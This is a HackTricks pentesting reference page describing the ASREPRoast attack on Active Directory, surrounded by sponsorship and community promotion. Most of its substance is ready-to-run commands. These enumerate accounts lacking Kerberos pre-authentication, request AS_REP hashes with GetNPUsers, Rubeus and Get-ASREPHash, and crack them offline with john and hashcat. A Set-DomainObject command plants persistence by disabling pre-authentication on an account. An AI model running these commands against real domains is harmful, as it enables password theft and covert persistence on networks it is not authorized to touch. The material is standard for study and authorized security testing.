110 lines
6.7 KiB
Markdown
110 lines
6.7 KiB
Markdown
# ASREPRoast
|
||
|
||
<details>
|
||
|
||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
|
||
|
||
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
|
||
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
|
||
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
|
||
[**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend.
|
||
|
||
{% embed url="https://twitter.com/intent/follow?original_referer=https%3A%2F%2Fwww.hackenproof.com%2F&screen_name=hackenproof" %}
|
||
|
||
|
||
# ASREPRoast
|
||
|
||
The ASREPRoast attack looks for **users without Kerberos pre-authentication required attribute (**[_**DONT\_REQ\_PREAUTH**_](https://support.microsoft.com/en-us/help/305144/how-to-use-the-useraccountcontrol-flags-to-manipulate-user-account-pro)_**)**_.
|
||
|
||
That means that anyone can send an AS\_REQ request to the DC on behalf of any of those users, and receive an AS\_REP message. This last kind of message contains a chunk of data encrypted with the original user key, derived from its password. Then, by using this message, the user password could be cracked offline.
|
||
|
||
Furthermore, **no domain account is needed to perform this attack**, only connection to the DC. However, **with a domain account**, a LDAP query can be used to **retrieve users without Kerberos pre-authentication** in the domain. **Otherwise usernames have to be guessed**.
|
||
|
||
### Enumerating vulnerable users (need domain credentials)
|
||
|
||
```bash
|
||
Get-DomainUser -PreauthNotRequired -verbose #List vuln users using PowerView
|
||
```
|
||
|
||
### Request AS\_REP message
|
||
|
||
{% code title="Using Linux" %}
|
||
```bash
|
||
#Try all the usernames in usernames.txt
|
||
python GetNPUsers.py jurassic.park/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
|
||
#Use domain creds to extract targets and target them
|
||
python GetNPUsers.py jurassic.park/triceratops:Sh4rpH0rns -request -format hashcat -outputfile hashes.asreproast
|
||
```
|
||
{% endcode %}
|
||
|
||
{% code title="Using Windows" %}
|
||
```bash
|
||
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast [/user:username]
|
||
Get-ASREPHash -Username VPN114user -verbose #From ASREPRoast.ps1 (https://github.com/HarmJ0y/ASREPRoast)
|
||
```
|
||
{% endcode %}
|
||
|
||
{% hint style="warning" %}
|
||
AS-REP Roasting with Rubeus will generate a 4768 with an encryption type of 0x17 and preauth type of 0.
|
||
{% endhint %}
|
||
|
||
## Cracking
|
||
|
||
```
|
||
john --wordlist=passwords_kerb.txt hashes.asreproast
|
||
hashcat -m 18200 --force -a 0 hashes.asreproast passwords_kerb.txt
|
||
```
|
||
|
||
## Persistence
|
||
|
||
Force **preauth** not required for a user where you have **GenericAll** permissions (or permissions to write properties):
|
||
|
||
```bash
|
||
Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose
|
||
```
|
||
|
||
# References
|
||
[**More information about AS-RRP Roasting in ired.team**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||
|
||
|
||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FfinO3sjcfKcruYYBafKC%2Fimage.png?alt=media&token=7bba2ebb-a679-4357-a859-bff2d9c5136a" alt=""><figcaption></figcaption></figure>
|
||
|
||
Did you know that crypto projects pay more bounty rewards than their web2 counterparts?\
|
||
This [**crypto bounty alone**](https://hackenproof.com/jungle/jungle-smart-contract) is worth $1.000.000!\
|
||
Check out the [**top-paying bounties**](https://hackenproof.com/programs) among crypto projects.\
|
||
[**Sign up on HackenProof**](https://hackenproof.com/register?referral_code=i_E6M25i_Um9gB56o-XsIA) to get rewarded without delays and become the web3 hacker legend.
|
||
|
||
{% embed url="https://twitter.com/intent/follow?original_referer=https%3A%2F%2Fwww.hackenproof.com%2F&screen_name=hackenproof" %}
|
||
|
||
|
||
<details>
|
||
|
||
<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
|
||
|
||
- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
||
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
||
- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
||
- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
|
||
- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
||
</details>
|